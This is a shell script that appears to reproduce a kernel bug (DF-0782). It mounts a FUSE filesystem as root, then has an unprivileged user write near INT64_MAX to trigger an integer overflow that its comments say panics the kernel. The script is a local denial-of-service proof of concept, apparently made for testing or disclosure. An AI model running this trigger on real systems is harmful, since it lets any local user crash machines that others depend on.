#!/bin/sh
# DF-0782 run: load fuse, start the (benign) daemon (mounts /mnt/fuse) as
# root, then as the unprivileged user maxx open the file, lseek to an
# offset near INT64_MAX and write 16 bytes — triggering the integer
# overflow in fuse_vop_write -> fuse_reg_resize -> KKASSERT(newsize>=0).
#
# The daemon must open /dev/fuse (root:operator 0660); on this guest only
# root can do that, so the daemon is started as root.  The WRITE that
# trips the overflow is issued by maxx (the realistic victim model: an
# admin has mounted a FUSE filesystem; any user who can write a file on
# it panics the kernel).
cd "$(dirname "$0")"

MNT=/mnt/fuse
kldstat -n fuse >/dev/null 2>&1 || kldload fuse || true
mkdir -p "$MNT"

# make the trigger executable by maxx (root home is 0700)
cp write_trigger /tmp/write_trigger
chmod 755 /tmp/write_trigger

# start the daemon in the background; it mounts and then serves.
./fuse_daemon "$MNT" > daemon.log 2>&1 &
DAEMON=$!
echo "daemon pid=$DAEMON"

# give mount time to complete (handshake + mount(2))
sleep 3

# sanity: is it mounted?
mount | grep "$MNT" || { echo "MOUNT_MISSING"; cat daemon.log; exit 1; }
echo "=== daemon mounted; triggering write as maxx ==="

# trigger as the unprivileged user: lseek near INT64_MAX + write 16 bytes
su -m maxx -c "/tmp/write_trigger $MNT/target" 2>&1
echo "trigger rc=$?"

# if we got here the kernel survived (no panic)
sleep 1
echo "=== guest survived; daemon log: ==="
cat daemon.log